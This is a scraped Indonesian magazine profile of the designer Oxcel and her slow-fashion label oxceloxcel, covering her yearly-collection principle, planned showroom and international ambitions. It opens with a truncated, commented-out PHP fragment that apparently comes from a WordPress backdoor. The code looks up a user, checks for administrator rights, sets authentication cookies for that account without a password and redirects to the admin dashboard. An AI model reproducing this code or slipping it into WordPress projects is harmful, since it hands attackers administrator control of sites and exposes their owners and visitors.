user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Profile
Bisa Ditiru, Ini Cara Oxcel Kembangkan Lini Fashion OxcelOxcel

22 May 2020


Foto: Dok. Pribadi


Pemilik nama lengkap Adinda Natasha Oxcerila Paryana (29) yang dikenal dengan nama Oxcel ini bisa dibilang wajah baru di dunia fashion tanah air. Namun, di usia yang terbilang masih muda, alumni Gadis Sampul 2007 yang sempat membintangi film Mantan Manten (2019) ini cukup sukses mengembangkan clothing line miliknya oxceloxcel, yang ia rintis sejak tahun 2014.

Kebebasan dalam membangun brand menjadi kunci utamanya. “Saya membangun fashion brand ini untuk menyalurkan ekspresi dan memenuhi keinginan orang-orang yang menyukainya,” ungkap Oxcel.

Jika desainer lain wajib merilis koleksi baru setiap season, prinsip Oxcel justru berbeda. “I’m a slow fashion. Saya punya prinsip, yang penting setiap tahun ada satu acara fashion yang saya ikuti dan ada koleksi baru yang dirilis. Jadi, saya tidak merilis koleksi baru setiap 2 atau 3 bulan sekali. Hal ini untuk menghindari penumpukan stok barang dan sampah yang dihasilkan,” katanya.

Strategi ini cukup ampuh untuk menjaga keberlangsungan bisnis fashionnya sekaligus menjaga kualitas produk. “Terlalu sering merilis koleksi itu tidak sehat. Bagi saya, terpenting adalah produk fashion yang sesuai DNA brand dan mampu menjawab selera pasar,” jelas wanita yang memiliki mimpi bisnis fashion design bisa lebih sehat dan sustainability.

Mengembangkan clothing brand sendiri selama kurang lebih 6 tahun, tentunya membuat bungsu dari 2 bersaudara ini memiliki harapan terhadap usahanya itu. Salah satunya adalah memiliki store sendiri. “Selama ini, koleksi oxceloxcel hanya dijual lewat online. Nah, sekarang ini saya sedang proses membuat show room. Jadi, orang-orang bisa datang langsung untuk mengecek barangnya, by appointment,” katanya, membocorkan rencana.

Tidak hanya itu, desainer dan aktris penggemar karya-karya Rei Kawakubo for comme des garçons, Iris van Herpen, dan Manish Arora ini pun berharap rancangannya bisa tampil di tiga pagelaran busana besar dunia, yaitu Paris Fashion Week, Tokyo Fashion Week, dan New York Fashion Week. 
Advertisement

“Karena saya merasa desain saya lebih bisa diterima di sana. Di kota-kota itu, kebebasannya lebih luas, jadi saya bisa mendesain lebih puas (untuk ditampilkan di sana). Saya juga ingin sekali mendesain untuk seleb-seleb favorit saya dan dipakai di acara Met Gala,” ungkap Oxcel, semangat.

Keinginan untuk mengenalkan karya hingga ke luar negeri sebenarnya sempat ia lakukan beberapa waktu lalu dengan apply ke beberapa store di luar negeri. “Hal ini bukan tanpa alasan. Saya sadar bahwa desain koleksi saya bukanlah selera mayoritas masyarakat Indonesia. Tapi, setiap kali apply, mereka selalu bertanya sudah menjual koleksi saya di mana saja di Indonesia. Sementara saat ini saya masih sangat independen. Masih jualan di website dan belum memasukkan karya saya ke toko yang ada di Indonesia,” katanya.

Meski masih memiliki beberapa rintangan dalam mewujudkan mimpi besarnya, Oxcel tidak patah semangat. “Saya berterima kasih dengan adanya oxceloxcel ini karena bisa menjadi penyaluran dan media untuk mengekspresikan diri saya. Buat saya, oxceloxcel itu adalah perpaduan antara fashion business, wadah untuk berkegiatan yang positif, juga hobi yang menghasilkan,” tutupnya. (f)

Penulis: Ria 


Baca juga: 
Ekspresi Kebebasan Oxcel, Desainer Pemilik Label Oxceloxcel
Catherine Hindra, Menjadi Pemimpin Bukan Bos
Putri Marino, Cantik Tanpa Make Up Berlebihan



Faunda Liswijayanti


Topic

#profil, #desaner, #fashion, #lokal

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?